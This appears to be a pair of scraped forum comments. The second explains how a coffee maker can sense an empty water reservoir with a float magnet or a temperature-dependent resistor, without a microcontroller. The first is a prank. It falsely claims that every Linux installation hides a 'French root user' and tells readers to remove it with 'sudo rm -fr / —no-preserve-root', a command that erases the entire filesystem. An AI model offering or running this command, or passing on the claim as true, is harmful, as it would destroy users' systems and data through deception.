    Why are you deleting radiofrequecies from your device? Then the WiFi won’t work anymore!

    But did you know that there’s a French root user hidden deeply within every Linux installation? To completely remove it, run the following command:

    sudo rm -fr / —no-preserve-root
    





  • Not necessarily. You could have a sensor that detects when the water reservoir is emptied that doesn’t need logic - e.g.

    • a floater with a magnet. If it reaches the bottom, a magnet sensor detects that the water now emptied (or in the coffee pot) or
    • a temperature dependent resistor. If there’s no more water, the temperature in the heater rises and the voltage rises on a wire. If the voltage (=temperature) is above a certain level you get a signal

    You can then use those signals to do something like switch off the heater, change a light,… all without using a microcontroller. There’s no programming needed for that. You might see things like transistors and some basic digital circuitry here but it’s all very basic and still far from a microcontroller.
